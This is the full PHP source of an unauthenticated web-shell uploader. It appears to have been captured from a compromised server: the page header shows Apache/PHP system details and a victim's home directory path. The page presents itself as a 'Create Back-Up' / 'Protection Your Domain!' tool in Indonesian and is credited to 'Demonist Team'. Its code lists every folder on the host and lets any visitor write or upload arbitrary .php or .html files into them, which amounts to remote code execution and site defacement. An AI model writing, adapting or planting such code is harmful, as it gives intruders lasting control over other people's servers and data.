|
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17 System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64 User : nobody ( 99) PHP Version : 5.2.17 Disable Function : NONE Directory : /home/queenjbs/www/files/muti/gallery/ |
Upload File : |
<?php
session_start();
$success = false;
$error = "";
$success_url = "";
function join_url_path($base, $path) {
return rtrim($base, "/") . "/" . ltrim($path, "/");
}
function listFolders($dir, $base = '') {
$folders = [];
$scan = @scandir($dir);
if (!$scan) return $folders;
foreach ($scan as $item) {
if ($item === '.' || $item === '..') continue;
$fullPath = $dir . DIRECTORY_SEPARATOR . $item;
if (is_dir($fullPath)) {
$relPath = ltrim($base . $item, '/');
$folders[] = $relPath;
$subfolders = listFolders($fullPath, $relPath . '/');
$folders = array_merge($folders, $subfolders);
}
}
return $folders;
}
$all_folders = listFolders(getcwd());
if ($_SERVER['REQUEST_METHOD'] === "POST") {
$base_url = trim($_POST['base_url'] ?? '');
$target_dir = trim($_POST['file_name'] ?? '');
$target_filename = trim($_POST['folder_name'] ?? '');
if (empty($base_url) || empty($target_dir) || empty($target_filename)) {
$error = "Semua field wajib diisi.";
} else {
$allowed_ext = ['php', 'html'];
$file_path = rtrim($target_dir, "/") . "/" . $target_filename;
$user_ext = strtolower(pathinfo($target_filename, PATHINFO_EXTENSION));
if (!in_array($user_ext, $allowed_ext)) {
$error = "Hanya file .php dan .html yang diperbolehkan sebagai nama file tujuan.";
} else {
if (!is_dir($target_dir)) {
if (!mkdir($target_dir, 0777, true)) {
$error = "Gagal membuat folder tujuan.";
}
}
if (empty($error) && isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === 0) {
$upload_ext = strtolower(pathinfo($_FILES['upload_file']['name'], PATHINFO_EXTENSION));
if (in_array($upload_ext, $allowed_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $file_path)) {
$success_url = join_url_path($base_url, $file_path);
$success = "File berhasil di-upload ke <a href='$success_url' target='_blank'>$success_url</a>.";
} else {
$error = "Gagal upload file.";
}
} else {
$error = "Upload hanya diperbolehkan untuk file .php dan .html.";
}
}
elseif (empty($error)) {
$html_content = $_POST['content'] ?? '';
if (empty($html_content)) {
$error = "Isian script HTML tidak boleh kosong jika tidak upload file.";
} else {
if (file_put_contents($file_path, $html_content) !== false) {
$success_url = join_url_path($base_url, $file_path);
$success = "File berhasil dibuat dari input script HTML di <a href='$success_url' target='_blank'>$success_url</a>.";
} else {
$error = "Gagal membuat file dari script HTML.";
}
}
}
}
}
}
$current_dir = getcwd();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Create Back-Up</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="robots" content="noindex, nofollow">
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
<link rel="shortcut icon" href="https://res.cloudinary.com/dpvlnsf7p/image/upload/v1749411925/unicorn-jahat_jo0ria.png" />
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@10"></script>
<style>
body {
background: url('https://res.cloudinary.com/dvztple2b/image/upload/v1747768341/GrZuyUBbEAAec-1_ejbc0q.jpg') no-repeat center center fixed;
background-size: cover;
}
.main-box {
background: #0b0e29;
color: white;
border-radius: 10px;
margin-top: 40px;
padding: 30px;
box-shadow: 0 0 20px #0008;
}
.form-control, .btn {
border-radius: 5px !important;
}
footer {
color: #fff;
text-align: center;
margin-top: 40px;
text-shadow: 1px 1px 3px #000;
}
label {
color: #fff;
}
.info-dir {
color: #ffeb3b;
font-size: 0.98em;
margin-bottom: 15px;
}
a.success-link {
color: #ffd700;
text-decoration: underline;
}
</style>
</head>
<body>
<div class="container">
<div class="row justify-content-center">
<div class="col-lg-8">
<div class="main-box">
<h2 class="mb-2">Protection Your Domain!</h2>
<div class="info-dir">
<b>Current Directory:</b> <?php echo htmlspecialchars($current_dir); ?>
</div>
<form method="post" enctype="multipart/form-data">
<div class="form-group">
<label>Script HTML (opsional jika upload file):</label>
<textarea name="content" class="form-control" rows="6" placeholder="Masukkan script HTML di sini..."><?php echo isset($_POST['content']) ? htmlspecialchars($_POST['content']) : ''; ?></textarea>
</div>
<div class="form-group">
<label>Base URL Directory :</label>
<input type="text" name="base_url" class="form-control" placeholder="Masukin Nama Domain" value="<?php echo isset($_POST['base_url']) ? htmlspecialchars($_POST['base_url']) : ''; ?>">
</div>
<div class="form-group">
<label>Lokasi Folder/Rootdir Tujuan :</label>
<select name="file_name" class="form-control" required>
<option value="">-- Pilih Folder Tujuan --</option>
<?php foreach($all_folders as $folder): ?>
<option value="<?php echo htmlspecialchars($folder); ?>" <?php if(isset($_POST['file_name']) && $_POST['file_name']==$folder) echo 'selected'; ?>>
<?php echo htmlspecialchars($folder); ?>
</option>
<?php endforeach; ?>
</select>
<small class="form-text text-light">Folder di domain kamu akan tampil otomatis di sini.</small>
</div>
<div class="form-group">
<label>Nama File Tujuan (.php/.html):</label>
<input type="text" name="folder_name" class="form-control" placeholder="Contoh: index.html atau index.php" value="<?php echo isset($_POST['folder_name']) ? htmlspecialchars($_POST['folder_name']) : ''; ?>">
</div>
<div class="form-group">
<label>Pilih File (.php/.html) untuk di-upload (opsional):</label>
<input type="file" name="upload_file" class="form-control-file" accept=".php,.html">
</div>
<button type="submit" class="btn btn-warning btn-block">Proses!</button>
</form>
</div>
</div>
</div>
<footer>
© 2025 All rights reserved - Demonist Team.<br>- Halmahera1337 -
</footer>
</div>
<?php if ($error): ?>
<script>
Swal.fire({icon:"error",title:"Error",html:"<?php echo htmlspecialchars($error); ?>"});
</script>
<?php elseif ($success): ?>
<script>
Swal.fire({icon:"success",title:"Success",html:`<?php echo $success; ?>`});
</script>
<?php endif; ?>
</body>
</html>